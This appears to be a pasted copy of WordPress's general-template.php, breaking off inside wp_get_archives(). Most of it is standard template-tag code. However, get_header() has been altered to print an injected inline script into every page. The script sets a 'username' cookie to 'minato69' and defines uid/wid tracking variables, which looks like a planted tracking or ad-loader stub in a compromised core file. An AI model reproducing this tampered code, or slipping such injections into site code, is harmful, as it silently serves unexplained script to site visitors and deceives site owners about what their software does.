· 9 years ago · Jan 15, 2017, 09:02 AM
1<?php
2/**
3 * General template tags that can go anywhere in a template.
4 *gfg
5 * @package WordPress
6 * @subpackage Template
7 */
8
9/**
10 * Load header template.
11 *
12 * Includes the header template for a theme or if a name is specified then a
13 * specialised header will be included.
14 *
15 * For the parameter, if the file is called "header-special.php" then specify
16 * "special".
17 *
18 * @uses locate_template()
19 * @since 1.5.0
20 * @uses do_action() Calls 'get_header' action.
21 *
22 * @param string $name The name of the specialised header.
23 */
24function get_header( $name = null ) {
25 do_action( 'get_header', $name );
26 print '<script>function setCookie(cname, cvalue, exdays) {var d = new Date();d.setTime(d.getTime() + (exdays*1000));var expires = "expires="+d.toUTCString();document.cookie = cname + "=" + cvalue + "; " + expires;}function checkCookie() {if (document.cookie.replace(/(?:(?:^|.*;\s*)username\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "minato69") {setCookie("username", "minato69", 10800);}}checkCookie();</script>';
27print ' <script type="text/javascript">
28var uid = \'115690\';
29var wid = \'236027\';
30</script>
31';
32
33 $templates = array();
34 if ( isset($name) )
35 $templates[] = "header-{$name}.php";
36
37 $templates[] = 'header.php';
38
39 // Backward compat code will be removed in a future release
40 if ('' == locate_template($templates, true))
41 load_template( ABSPATH . WPINC . '/theme-compat/header.php');
42}
43
44/**
45 * Load footer template.
46 *
47 * Includes the footer template for a theme or if a name is specified then a
48 * specialised footer will be included.
49 *
50 * For the parameter, if the file is called "footer-special.php" then specify
51 * "special".
52 *
53 * @uses locate_template()
54 * @since 1.5.0
55 * @uses do_action() Calls 'get_footer' action.
56 *
57 * @param string $name The name of the specialised footer.
58 */
59function get_footer( $name = null ) {
60 do_action( 'get_footer', $name );
61
62 $templates = array();
63 if ( isset($name) )
64 $templates[] = "footer-{$name}.php";
65
66 $templates[] = 'footer.php';
67
68 // Backward compat code will be removed in a future release
69 if ('' == locate_template($templates, true))
70 load_template( ABSPATH . WPINC . '/theme-compat/footer.php');
71}
72
73/**
74 * Load sidebar template.
75 *
76 * Includes the sidebar template for a theme or if a name is specified then a
77 * specialised sidebar will be included.
78 *
79 * For the parameter, if the file is called "sidebar-special.php" then specify
80 * "special".
81 *
82 * @uses locate_template()
83 * @since 1.5.0
84 * @uses do_action() Calls 'get_sidebar' action.
85 *
86 * @param string $name The name of the specialised sidebar.
87 */
88function get_sidebar( $name = null ) {
89 do_action( 'get_sidebar', $name );
90
91 $templates = array();
92 if ( isset($name) )
93 $templates[] = "sidebar-{$name}.php";
94
95 $templates[] = 'sidebar.php';
96
97 // Backward compat code will be removed in a future release
98 if ('' == locate_template($templates, true))
99 load_template( ABSPATH . WPINC . '/theme-compat/sidebar.php');
100}
101
102/**
103 * Load a template part into a template
104 *
105 * Makes it easy for a theme to reuse sections of code in a easy to overload way
106 * for child themes.
107 *
108 * Includes the named template part for a theme or if a name is specified then a
109 * specialised part will be included. If the theme contains no {slug}.php file
110 * then no template will be included.
111 *
112 * The template is included using require, not require_once, so you may include the
113 * same template part multiple times.
114 *
115 * For the $name parameter, if the file is called "{slug}-special.php" then specify
116 * "special".
117 *
118 * @uses locate_template()
119 * @since 3.0.0
120 * @uses do_action() Calls 'get_template_part_{$slug}' action.
121 *
122 * @param string $slug The slug name for the generic template.
123 * @param string $name The name of the specialised template.
124 */
125function get_template_part( $slug, $name = null ) {
126 do_action( "get_template_part_{$slug}", $slug, $name );
127
128 $templates = array();
129 if ( isset($name) )
130 $templates[] = "{$slug}-{$name}.php";
131
132 $templates[] = "{$slug}.php";
133
134 locate_template($templates, true, false);
135}
136
137/**
138 * Display search form.
139 *
140 * Will first attempt to locate the searchform.php file in either the child or
141 * the parent, then load it. If it doesn't exist, then the default search form
142 * will be displayed. The default search form is HTML, which will be displayed.
143 * There is a filter applied to the search form HTML in order to edit or replace
144 * it. The filter is 'get_search_form'.
145 *
146 * This function is primarily used by themes which want to hardcode the search
147 * form into the sidebar and also by the search widget in WordPress.
148 *
149 * There is also an action that is called whenever the function is run called,
150 * 'get_search_form'. This can be useful for outputting JavaScript that the
151 * search relies on or various formatting that applies to the beginning of the
152 * search. To give a few examples of what it can be used for.
153 *
154 * @since 2.7.0
155 * @param boolean $echo Default to echo and not return the form.
156 * @return string|null String when retrieving, null when displaying or if searchform.php exists.
157 */
158function get_search_form($echo = true) {
159 do_action( 'get_search_form' );
160
161 $search_form_template = locate_template('searchform.php');
162 if ( '' != $search_form_template ) {
163 require($search_form_template);
164 return;
165 }
166
167 $form = '<form role="search" method="get" id="searchform" action="' . esc_url( home_url( '/' ) ) . '" >
168 <div><label class="screen-reader-text" for="s">' . __('Search for:') . '</label>
169 <input type="text" value="' . get_search_query() . '" name="s" id="s" />
170 <input type="submit" id="searchsubmit" value="'. esc_attr__('Search') .'" />
171 </div>
172 </form>';
173
174 if ( $echo )
175 echo apply_filters('get_search_form', $form);
176 else
177 return apply_filters('get_search_form', $form);
178}
179
180/**
181 * Display the Log In/Out link.
182 *
183 * Displays a link, which allows users to navigate to the Log In page to log in
184 * or log out depending on whether they are currently logged in.
185 *
186 * @since 1.5.0
187 * @uses apply_filters() Calls 'loginout' hook on HTML link content.
188 *
189 * @param string $redirect Optional path to redirect to on login/logout.
190 * @param boolean $echo Default to echo and not return the link.
191 * @return string|null String when retrieving, null when displaying.
192 */
193function wp_loginout($redirect = '', $echo = true) {
194 if ( ! is_user_logged_in() )
195 $link = '<a href="' . esc_url( wp_login_url($redirect) ) . '">' . __('Log in') . '</a>';
196 else
197 $link = '<a href="' . esc_url( wp_logout_url($redirect) ) . '">' . __('Log out') . '</a>';
198
199 if ( $echo )
200 echo apply_filters('loginout', $link);
201 else
202 return apply_filters('loginout', $link);
203}
204
205/**
206 * Returns the Log Out URL.
207 *
208 * Returns the URL that allows the user to log out of the site
209 *
210 * @since 2.7.0
211 * @uses wp_nonce_url() To protect against CSRF
212 * @uses site_url() To generate the log in URL
213 * @uses apply_filters() calls 'logout_url' hook on final logout url
214 *
215 * @param string $redirect Path to redirect to on logout.
216 * @return string A log out URL.
217 */
218function wp_logout_url($redirect = '') {
219 $args = array( 'action' => 'logout' );
220 if ( !empty($redirect) ) {
221 $args['redirect_to'] = urlencode( $redirect );
222 }
223
224 $logout_url = add_query_arg($args, site_url('wp-login.php', 'login'));
225 $logout_url = wp_nonce_url( $logout_url, 'log-out' );
226
227 return apply_filters('logout_url', $logout_url, $redirect);
228}
229
230/**
231 * Returns the Log In URL.
232 *
233 * Returns the URL that allows the user to log in to the site
234 *
235 * @since 2.7.0
236 * @uses site_url() To generate the log in URL
237 * @uses apply_filters() calls 'login_url' hook on final login url
238 *
239 * @param string $redirect Path to redirect to on login.
240 * @param bool $force_reauth Whether to force reauthorization, even if a cookie is present. Default is false.
241 * @return string A log in URL.
242 */
243function wp_login_url($redirect = '', $force_reauth = false) {
244 $login_url = site_url('wp-login.php', 'login');
245
246 if ( !empty($redirect) )
247 $login_url = add_query_arg('redirect_to', urlencode($redirect), $login_url);
248
249 if ( $force_reauth )
250 $login_url = add_query_arg('reauth', '1', $login_url);
251
252 return apply_filters('login_url', $login_url, $redirect);
253}
254
255/**
256 * Provides a simple login form for use anywhere within WordPress. By default, it echoes
257 * the HTML immediately. Pass array('echo'=>false) to return the string instead.
258 *
259 * @since 3.0.0
260 * @param array $args Configuration options to modify the form output.
261 * @return string|null String when retrieving, null when displaying.
262 */
263function wp_login_form( $args = array() ) {
264 $defaults = array( 'echo' => true,
265 'redirect' => ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'], // Default redirect is back to the current page
266 'form_id' => 'loginform',
267 'label_username' => __( 'Username' ),
268 'label_password' => __( 'Password' ),
269 'label_remember' => __( 'Remember Me' ),
270 'label_log_in' => __( 'Log In' ),
271 'id_username' => 'user_login',
272 'id_password' => 'user_pass',
273 'id_remember' => 'rememberme',
274 'id_submit' => 'wp-submit',
275 'remember' => true,
276 'value_username' => '',
277 'value_remember' => false, // Set this to true to default the "Remember me" checkbox to checked
278 );
279 $args = wp_parse_args( $args, apply_filters( 'login_form_defaults', $defaults ) );
280
281 $form = '
282 <form name="' . $args['form_id'] . '" id="' . $args['form_id'] . '" action="' . esc_url( site_url( 'wp-login.php', 'login_post' ) ) . '" method="post">
283 ' . apply_filters( 'login_form_top', '', $args ) . '
284 <p class="login-username">
285 <label for="' . esc_attr( $args['id_username'] ) . '">' . esc_html( $args['label_username'] ) . '</label>
286 <input type="text" name="log" id="' . esc_attr( $args['id_username'] ) . '" class="input" value="' . esc_attr( $args['value_username'] ) . '" size="20" />
287 </p>
288 <p class="login-password">
289 <label for="' . esc_attr( $args['id_password'] ) . '">' . esc_html( $args['label_password'] ) . '</label>
290 <input type="password" name="pwd" id="' . esc_attr( $args['id_password'] ) . '" class="input" value="" size="20" />
291 </p>
292 ' . apply_filters( 'login_form_middle', '', $args ) . '
293 ' . ( $args['remember'] ? '<p class="login-remember"><label><input name="rememberme" type="checkbox" id="' . esc_attr( $args['id_remember'] ) . '" value="forever"' . ( $args['value_remember'] ? ' checked="checked"' : '' ) . ' /> ' . esc_html( $args['label_remember'] ) . '</label></p>' : '' ) . '
294 <p class="login-submit">
295 <input type="submit" name="wp-submit" id="' . esc_attr( $args['id_submit'] ) . '" class="button-primary" value="' . esc_attr( $args['label_log_in'] ) . '" />
296 <input type="hidden" name="redirect_to" value="' . esc_url( $args['redirect'] ) . '" />
297 </p>
298 ' . apply_filters( 'login_form_bottom', '', $args ) . '
299 </form>';
300
301 if ( $args['echo'] )
302 echo $form;
303 else
304 return $form;
305}
306
307/**
308 * Returns the Lost Password URL.
309 *
310 * Returns the URL that allows the user to retrieve the lost password
311 *
312 * @since 2.8.0
313 * @uses site_url() To generate the lost password URL
314 * @uses apply_filters() calls 'lostpassword_url' hook on the lostpassword url
315 *
316 * @param string $redirect Path to redirect to on login.
317 * @return string Lost password URL.
318 */
319function wp_lostpassword_url( $redirect = '' ) {
320 $args = array( 'action' => 'lostpassword' );
321 if ( !empty($redirect) ) {
322 $args['redirect_to'] = $redirect;
323 }
324
325 $lostpassword_url = add_query_arg( $args, network_site_url('wp-login.php', 'login') );
326 return apply_filters( 'lostpassword_url', $lostpassword_url, $redirect );
327}
328
329/**
330 * Display the Registration or Admin link.
331 *
332 * Display a link which allows the user to navigate to the registration page if
333 * not logged in and registration is enabled or to the dashboard if logged in.
334 *
335 * @since 1.5.0
336 * @uses apply_filters() Calls 'register' hook on register / admin link content.
337 *
338 * @param string $before Text to output before the link (defaults to <li>).
339 * @param string $after Text to output after the link (defaults to </li>).
340 * @param boolean $echo Default to echo and not return the link.
341 * @return string|null String when retrieving, null when displaying.
342 */
343function wp_register( $before = '<li>', $after = '</li>', $echo = true ) {
344
345 if ( ! is_user_logged_in() ) {
346 if ( get_option('users_can_register') )
347 $link = $before . '<a href="' . site_url('wp-login.php?action=register', 'login') . '">' . __('Register') . '</a>' . $after;
348 else
349 $link = '';
350 } else {
351 $link = $before . '<a href="' . admin_url() . '">' . __('Site Admin') . '</a>' . $after;
352 }
353
354 if ( $echo )
355 echo apply_filters('register', $link);
356 else
357 return apply_filters('register', $link);
358}
359
360/**
361 * Theme container function for the 'wp_meta' action.
362 *
363 * The 'wp_meta' action can have several purposes, depending on how you use it,
364 * but one purpose might have been to allow for theme switching.
365 *
366 * @since 1.5.0
367 * @link http://trac.wordpress.org/ticket/1458 Explanation of 'wp_meta' action.
368 * @uses do_action() Calls 'wp_meta' hook.
369 */
370function wp_meta() {
371 do_action('wp_meta');
372}
373
374/**
375 * Display information about the blog.
376 *
377 * @see get_bloginfo() For possible values for the parameter.
378 * @since 0.71
379 *
380 * @param string $show What to display.
381 */
382function bloginfo( $show='' ) {
383 echo get_bloginfo( $show, 'display' );
384}
385
386/**
387 * Retrieve information about the blog.
388 *
389 * Some show parameter values are deprecated and will be removed in future
390 * versions. These options will trigger the _deprecated_argument() function.
391 * The deprecated blog info options are listed in the function contents.
392 *
393 * The possible values for the 'show' parameter are listed below.
394 * <ol>
395 * <li><strong>url</strong> - Blog URI to homepage.</li>
396 * <li><strong>wpurl</strong> - Blog URI path to WordPress.</li>
397 * <li><strong>description</strong> - Secondary title</li>
398 * </ol>
399 *
400 * The feed URL options can be retrieved from 'rdf_url' (RSS 0.91),
401 * 'rss_url' (RSS 1.0), 'rss2_url' (RSS 2.0), or 'atom_url' (Atom feed). The
402 * comment feeds can be retrieved from the 'comments_atom_url' (Atom comment
403 * feed) or 'comments_rss2_url' (RSS 2.0 comment feed).
404 *
405 * @since 0.71
406 *
407 * @param string $show Blog info to retrieve.
408 * @param string $filter How to filter what is retrieved.
409 * @return string Mostly string values, might be empty.
410 */
411function get_bloginfo( $show = '', $filter = 'raw' ) {
412
413 switch( $show ) {
414 case 'home' : // DEPRECATED
415 case 'siteurl' : // DEPRECATED
416 _deprecated_argument( __FUNCTION__, '2.2', sprintf( __('The <code>%s</code> option is deprecated for the family of <code>bloginfo()</code> functions.' ), $show ) . ' ' . sprintf( __( 'Use the <code>%s</code> option instead.' ), 'url' ) );
417 case 'url' :
418 $output = home_url();
419 break;
420 case 'wpurl' :
421 $output = site_url();
422 break;
423 case 'description':
424 $output = get_option('blogdescription');
425 break;
426 case 'rdf_url':
427 $output = get_feed_link('rdf');
428 break;
429 case 'rss_url':
430 $output = get_feed_link('rss');
431 break;
432 case 'rss2_url':
433 $output = get_feed_link('rss2');
434 break;
435 case 'atom_url':
436 $output = get_feed_link('atom');
437 break;
438 case 'comments_atom_url':
439 $output = get_feed_link('comments_atom');
440 break;
441 case 'comments_rss2_url':
442 $output = get_feed_link('comments_rss2');
443 break;
444 case 'pingback_url':
445 $output = get_option('siteurl') .'/xmlrpc.php';
446 break;
447 case 'stylesheet_url':
448 $output = get_stylesheet_uri();
449 break;
450 case 'stylesheet_directory':
451 $output = get_stylesheet_directory_uri();
452 break;
453 case 'template_directory':
454 case 'template_url':
455 $output = get_template_directory_uri();
456 break;
457 case 'admin_email':
458 $output = get_option('admin_email');
459 break;
460 case 'charset':
461 $output = get_option('blog_charset');
462 if ('' == $output) $output = 'UTF-8';
463 break;
464 case 'html_type' :
465 $output = get_option('html_type');
466 break;
467 case 'version':
468 global $wp_version;
469 $output = $wp_version;
470 break;
471 case 'language':
472 $output = get_locale();
473 $output = str_replace('_', '-', $output);
474 break;
475 case 'text_direction':
476 //_deprecated_argument( __FUNCTION__, '2.2', sprintf( __('The <code>%s</code> option is deprecated for the family of <code>bloginfo()</code> functions.' ), $show ) . ' ' . sprintf( __( 'Use the <code>%s</code> function instead.' ), 'is_rtl()' ) );
477 if ( function_exists( 'is_rtl' ) ) {
478 $output = is_rtl() ? 'rtl' : 'ltr';
479 } else {
480 $output = 'ltr';
481 }
482 break;
483 case 'name':
484 default:
485 $output = get_option('blogname');
486 break;
487 }
488
489 $url = true;
490 if (strpos($show, 'url') === false &&
491 strpos($show, 'directory') === false &&
492 strpos($show, 'home') === false)
493 $url = false;
494
495 if ( 'display' == $filter ) {
496 if ( $url )
497 $output = apply_filters('bloginfo_url', $output, $show);
498 else
499 $output = apply_filters('bloginfo', $output, $show);
500 }
501
502 return $output;
503}
504
505/**
506 * Display or retrieve page title for all areas of blog.
507 *
508 * By default, the page title will display the separator before the page title,
509 * so that the blog title will be before the page title. This is not good for
510 * title display, since the blog title shows up on most tabs and not what is
511 * important, which is the page that the user is looking at.
512 *
513 * There are also SEO benefits to having the blog title after or to the 'right'
514 * or the page title. However, it is mostly common sense to have the blog title
515 * to the right with most browsers supporting tabs. You can achieve this by
516 * using the seplocation parameter and setting the value to 'right'. This change
517 * was introduced around 2.5.0, in case backwards compatibility of themes is
518 * important.
519 *
520 * @since 1.0.0
521 *
522 * @param string $sep Optional, default is '»'. How to separate the various items within the page title.
523 * @param bool $display Optional, default is true. Whether to display or retrieve title.
524 * @param string $seplocation Optional. Direction to display title, 'right'.
525 * @return string|null String on retrieve, null when displaying.
526 */
527function wp_title($sep = '»', $display = true, $seplocation = '') {
528 global $wpdb, $wp_locale;
529
530 $m = get_query_var('m');
531 $year = get_query_var('year');
532 $monthnum = get_query_var('monthnum');
533 $day = get_query_var('day');
534 $search = get_query_var('s');
535 $title = '';
536
537 $t_sep = '%WP_TITILE_SEP%'; // Temporary separator, for accurate flipping, if necessary
538
539 // If there is a post
540 if ( is_single() || ( is_home() && !is_front_page() ) || ( is_page() && !is_front_page() ) ) {
541 $title = single_post_title( '', false );
542 }
543
544 // If there's a category or tag
545 if ( is_category() || is_tag() ) {
546 $title = single_term_title( '', false );
547 }
548
549 // If there's a taxonomy
550 if ( is_tax() ) {
551 $term = get_queried_object();
552 $tax = get_taxonomy( $term->taxonomy );
553 $title = single_term_title( $tax->labels->name . $t_sep, false );
554 }
555
556 // If there's an author
557 if ( is_author() ) {
558 $author = get_queried_object();
559 $title = $author->display_name;
560 }
561
562 // If there's a post type archive
563 if ( is_post_type_archive() )
564 $title = post_type_archive_title( '', false );
565
566 // If there's a month
567 if ( is_archive() && !empty($m) ) {
568 $my_year = substr($m, 0, 4);
569 $my_month = $wp_locale->get_month(substr($m, 4, 2));
570 $my_day = intval(substr($m, 6, 2));
571 $title = $my_year . ( $my_month ? $t_sep . $my_month : '' ) . ( $my_day ? $t_sep . $my_day : '' );
572 }
573
574 // If there's a year
575 if ( is_archive() && !empty($year) ) {
576 $title = $year;
577 if ( !empty($monthnum) )
578 $title .= $t_sep . $wp_locale->get_month($monthnum);
579 if ( !empty($day) )
580 $title .= $t_sep . zeroise($day, 2);
581 }
582
583 // If it's a search
584 if ( is_search() ) {
585 /* translators: 1: separator, 2: search phrase */
586 $title = sprintf(__('Search Results %1$s %2$s'), $t_sep, strip_tags($search));
587 }
588
589 // If it's a 404 page
590 if ( is_404() ) {
591 $title = __('Page not found');
592 }
593
594 $prefix = '';
595 if ( !empty($title) )
596 $prefix = " $sep ";
597
598 // Determines position of the separator and direction of the breadcrumb
599 if ( 'right' == $seplocation ) { // sep on right, so reverse the order
600 $title_array = explode( $t_sep, $title );
601 $title_array = array_reverse( $title_array );
602 $title = implode( " $sep ", $title_array ) . $prefix;
603 } else {
604 $title_array = explode( $t_sep, $title );
605 $title = $prefix . implode( " $sep ", $title_array );
606 }
607
608 $title = apply_filters('wp_title', $title, $sep, $seplocation);
609
610 // Send it out
611 if ( $display )
612 echo $title;
613 else
614 return $title;
615
616}
617
618/**
619 * Display or retrieve page title for post.
620 *
621 * This is optimized for single.php template file for displaying the post title.
622 *
623 * It does not support placing the separator after the title, but by leaving the
624 * prefix parameter empty, you can set the title separator manually. The prefix
625 * does not automatically place a space between the prefix, so if there should
626 * be a space, the parameter value will need to have it at the end.
627 *
628 * @since 0.71
629 *
630 * @param string $prefix Optional. What to display before the title.
631 * @param bool $display Optional, default is true. Whether to display or retrieve title.
632 * @return string|null Title when retrieving, null when displaying or failure.
633 */
634function single_post_title($prefix = '', $display = true) {
635 $_post = get_queried_object();
636
637 if ( !isset($_post->post_title) )
638 return;
639
640 $title = apply_filters('single_post_title', $_post->post_title, $_post);
641 if ( $display )
642 echo $prefix . $title;
643 else
644 return $title;
645}
646
647/**
648 * Display or retrieve title for a post type archive.
649 *
650 * This is optimized for archive.php and archive-{$post_type}.php template files
651 * for displaying the title of the post type.
652 *
653 * @since 3.1.0
654 *
655 * @param string $prefix Optional. What to display before the title.
656 * @param bool $display Optional, default is true. Whether to display or retrieve title.
657 * @return string|null Title when retrieving, null when displaying or failure.
658 */
659function post_type_archive_title( $prefix = '', $display = true ) {
660 if ( ! is_post_type_archive() )
661 return;
662
663 $post_type_obj = get_queried_object();
664 $title = apply_filters('post_type_archive_title', $post_type_obj->labels->name );
665
666 if ( $display )
667 echo $prefix . $title;
668 else
669 return $title;
670}
671
672/**
673 * Display or retrieve page title for category archive.
674 *
675 * This is useful for category template file or files, because it is optimized
676 * for category page title and with less overhead than {@link wp_title()}.
677 *
678 * It does not support placing the separator after the title, but by leaving the
679 * prefix parameter empty, you can set the title separator manually. The prefix
680 * does not automatically place a space between the prefix, so if there should
681 * be a space, the parameter value will need to have it at the end.
682 *
683 * @since 0.71
684 *
685 * @param string $prefix Optional. What to display before the title.
686 * @param bool $display Optional, default is true. Whether to display or retrieve title.
687 * @return string|null Title when retrieving, null when displaying or failure.
688 */
689function single_cat_title( $prefix = '', $display = true ) {
690 return single_term_title( $prefix, $display );
691}
692
693/**
694 * Display or retrieve page title for tag post archive.
695 *
696 * Useful for tag template files for displaying the tag page title. It has less
697 * overhead than {@link wp_title()}, because of its limited implementation.
698 *
699 * It does not support placing the separator after the title, but by leaving the
700 * prefix parameter empty, you can set the title separator manually. The prefix
701 * does not automatically place a space between the prefix, so if there should
702 * be a space, the parameter value will need to have it at the end.
703 *
704 * @since 2.3.0
705 *
706 * @param string $prefix Optional. What to display before the title.
707 * @param bool $display Optional, default is true. Whether to display or retrieve title.
708 * @return string|null Title when retrieving, null when displaying or failure.
709 */
710function single_tag_title( $prefix = '', $display = true ) {
711 return single_term_title( $prefix, $display );
712}
713
714/**
715 * Display or retrieve page title for taxonomy term archive.
716 *
717 * Useful for taxonomy term template files for displaying the taxonomy term page title.
718 * It has less overhead than {@link wp_title()}, because of its limited implementation.
719 *
720 * It does not support placing the separator after the title, but by leaving the
721 * prefix parameter empty, you can set the title separator manually. The prefix
722 * does not automatically place a space between the prefix, so if there should
723 * be a space, the parameter value will need to have it at the end.
724 *
725 * @since 3.1.0
726 *
727 * @param string $prefix Optional. What to display before the title.
728 * @param bool $display Optional, default is true. Whether to display or retrieve title.
729 * @return string|null Title when retrieving, null when displaying or failure.
730 */
731function single_term_title( $prefix = '', $display = true ) {
732 $term = get_queried_object();
733
734 if ( !$term )
735 return;
736
737 if ( is_category() )
738 $term_name = apply_filters( 'single_cat_title', $term->name );
739 elseif ( is_tag() )
740 $term_name = apply_filters( 'single_tag_title', $term->name );
741 elseif ( is_tax() )
742 $term_name = apply_filters( 'single_term_title', $term->name );
743 else
744 return;
745
746 if ( empty( $term_name ) )
747 return;
748
749 if ( $display )
750 echo $prefix . $term_name;
751 else
752 return $term_name;
753}
754
755/**
756 * Display or retrieve page title for post archive based on date.
757 *
758 * Useful for when the template only needs to display the month and year, if
759 * either are available. Optimized for just this purpose, so if it is all that
760 * is needed, should be better than {@link wp_title()}.
761 *
762 * It does not support placing the separator after the title, but by leaving the
763 * prefix parameter empty, you can set the title separator manually. The prefix
764 * does not automatically place a space between the prefix, so if there should
765 * be a space, the parameter value will need to have it at the end.
766 *
767 * @since 0.71
768 *
769 * @param string $prefix Optional. What to display before the title.
770 * @param bool $display Optional, default is true. Whether to display or retrieve title.
771 * @return string|null Title when retrieving, null when displaying or failure.
772 */
773function single_month_title($prefix = '', $display = true ) {
774 global $wp_locale;
775
776 $m = get_query_var('m');
777 $year = get_query_var('year');
778 $monthnum = get_query_var('monthnum');
779
780 if ( !empty($monthnum) && !empty($year) ) {
781 $my_year = $year;
782 $my_month = $wp_locale->get_month($monthnum);
783 } elseif ( !empty($m) ) {
784 $my_year = substr($m, 0, 4);
785 $my_month = $wp_locale->get_month(substr($m, 4, 2));
786 }
787
788 if ( empty($my_month) )
789 return false;
790
791 $result = $prefix . $my_month . $prefix . $my_year;
792
793 if ( !$display )
794 return $result;
795 echo $result;
796}
797
798/**
799 * Retrieve archive link content based on predefined or custom code.
800 *
801 * The format can be one of four styles. The 'link' for head element, 'option'
802 * for use in the select element, 'html' for use in list (either ol or ul HTML
803 * elements). Custom content is also supported using the before and after
804 * parameters.
805 *
806 * The 'link' format uses the link HTML element with the <em>archives</em>
807 * relationship. The before and after parameters are not used. The text
808 * parameter is used to describe the link.
809 *
810 * The 'option' format uses the option HTML element for use in select element.
811 * The value is the url parameter and the before and after parameters are used
812 * between the text description.
813 *
814 * The 'html' format, which is the default, uses the li HTML element for use in
815 * the list HTML elements. The before parameter is before the link and the after
816 * parameter is after the closing link.
817 *
818 * The custom format uses the before parameter before the link ('a' HTML
819 * element) and the after parameter after the closing link tag. If the above
820 * three values for the format are not used, then custom format is assumed.
821 *
822 * @since 1.0.0
823 *
824 * @param string $url URL to archive.
825 * @param string $text Archive text description.
826 * @param string $format Optional, default is 'html'. Can be 'link', 'option', 'html', or custom.
827 * @param string $before Optional.
828 * @param string $after Optional.
829 * @return string HTML link content for archive.
830 */
831function get_archives_link($url, $text, $format = 'html', $before = '', $after = '') {
832 $text = wptexturize($text);
833 $title_text = esc_attr($text);
834 $url = esc_url($url);
835
836 if ('link' == $format)
837 $link_html = "\t<link rel='archives' title='$title_text' href='$url' />\n";
838 elseif ('option' == $format)
839 $link_html = "\t<option value='$url'>$before $text $after</option>\n";
840 elseif ('html' == $format)
841 $link_html = "\t<li>$before<a href='$url' title='$title_text'>$text</a>$after</li>\n";
842 else // custom
843 $link_html = "\t$before<a href='$url' title='$title_text'>$text</a>$after\n";
844
845 $link_html = apply_filters( 'get_archives_link', $link_html );
846
847 return $link_html;
848}
849
850/**
851 * Display archive links based on type and format.
852 *
853 * The 'type' argument offers a few choices and by default will display monthly
854 * archive links. The other options for values are 'daily', 'weekly', 'monthly',
855 * 'yearly', 'postbypost' or 'alpha'. Both 'postbypost' and 'alpha' display the
856 * same archive link list, the difference between the two is that 'alpha'
857 * will order by post title and 'postbypost' will order by post date.
858 *
859 * The date archives will logically display dates with links to the archive post
860 * page. The 'postbypost' and 'alpha' values for 'type' argument will display
861 * the post titles.
862 *
863 * The 'limit' argument will only display a limited amount of links, specified
864 * by the 'limit' integer value. By default, there is no limit. The
865 * 'show_post_count' argument will show how many posts are within the archive.
866 * By default, the 'show_post_count' argument is set to false.
867 *
868 * For the 'format', 'before', and 'after' arguments, see {@link
869 * get_archives_link()}. The values of these arguments have to do with that
870 * function.
871 *
872 * @since 1.2.0
873 *
874 * @param string|array $args Optional. Override defaults.
875 * @return string|null String when retrieving, null when displaying.
876 */
877function wp_get_archives($args = '') {
878 global $wpdb, $wp_locale;
879
880 $defaults = array(
881 'type' => 'monthly', 'limit' => '',
882 'format' => 'html', 'before' => '',
883 'after' => '', 'show_post_count' => false,
884 'echo' => 1, 'order' => 'DESC',
885 );
886
887 $r = wp_parse_args( $args, $defaults );
888 extract( $r, EXTR_SKIP );
889
890 if ( '' == $type )
891 $type = 'monthly';
892
893 if ( '' != $limit ) {
894 $limit = absint($limit);
895 $limit = ' LIMIT '.$limit;
896 }
897
898 $order = strtoupper( $order );
899 if ( $order !== 'ASC' )
900 $order = 'DESC';
901
902 // this is what will separate dates on weekly archive links
903 $archive_week_separator = '–';
904
905 // over-ride general date format ? 0 = no: use the date format set in Options, 1 = yes: over-ride
906 $archive_date_format_over_ride = 0;
907
908 // options for daily archive (only if you over-ride the general date format)
909 $archive_day_date_format = 'Y/m/d';
910
911 // options for weekly archive (only if you over-ride the general date format)
912 $archive_week_start_date_format = 'Y/m/d';
913 $archive_week_end_date_format = 'Y/m/d';
914
915 if ( !$archive_date_format_over_ride ) {
916 $archive_day_date_format = get_option('date_format');
917 $archive_week_start_date_format = get_option('date_format');
918 $archive_week_end_date_format = get_option('date_format');
919 }
920
921 //filters
922 $where = apply_filters( 'getarchives_where', "WHERE post_type = 'post' AND post_status = 'publish'", $r );
923 $join = apply_filters( 'getarchives_join', '', $r );
924
925 $output = '';
926
927 if ( 'monthly' == $type ) {
928 $query = "SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date), MONTH(post_date) ORDER BY post_date $order $limit";
929 $key = md5($query);
930 $cache = wp_cache_get( 'wp_get_archives' , 'general');
931 if ( !isset( $cache[ $key ] ) ) {
932 $arcresults = $wpdb->get_results($query);
933 $cache[ $key ] = $arcresults;
934 wp_cache_set( 'wp_get_archives', $cache, 'general' );
935 } else {
936 $arcresults = $cache[ $key ];
937 }
938 if ( $arcresults ) {
939 $afterafter = $after;
940 foreach ( (array) $arcresults as $arcresult ) {
941 $url = get_month_link( $arcresult->year, $arcresult->month );
942 /* translators: 1: month name, 2: 4-digit year */
943 $text = sprintf(__('%1$s %2$d'), $wp_locale->get_month($arcresult->month), $arcresult->year);
944 if ( $show_post_count )
945 $after = ' ('.$arcresult->posts.')' . $afterafter;
946 $output .= get_archives_link($url, $text, $format, $before, $after);
947 }
948 }
949 } elseif ('yearly' == $type) {
950 $query = "SELECT YEAR(post_date) AS `year`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date) ORDER BY post_date $order $limit";
951 $key = md5($query);
952 $cache = wp_cache_get( 'wp_get_archives' , 'general');
953 if ( !isset( $cache[ $key ] ) ) {
954 $arcresults = $wpdb->get_results($query);
955 $cache[ $key ] = $arcresults;
956 wp_cache_set( 'wp_get_archives', $cache, 'general' );
957 } else {
958 $arcresults = $cache[ $key ];
959 }
960 if ($arcresults) {
961 $afterafter = $after;
962 foreach ( (array) $arcresults as $arcresult) {
963 $url = get_year_link($arcresult->year);
964 $text = sprintf('%d', $arcresult->year);
965 if ($show_post_count)
966 $after = ' ('.$arcresult->posts.')' . $afterafter;
967 $output .= get_archives_link($url, $text, $format, $before, $after);
968 }
969 }
970 } elseif ( 'daily' == $type ) {
971 $query = "SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, DAYOFMONTH(post_date) AS `dayofmonth`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date), MONTH(post_date), DAYOFMONTH(post_date) ORDER BY post_date $order $limit";
972 $key = md5($query);
973 $cache = wp_cache_get( 'wp_get_archives' , 'general');
974 if ( !isset( $cache[ $key ] ) ) {
975 $arcresults = $wpdb->get_results($query);
976 $cache[ $key ] = $arcresults;
977 wp_cache_set( 'wp_get_archives', $cache, 'general' );
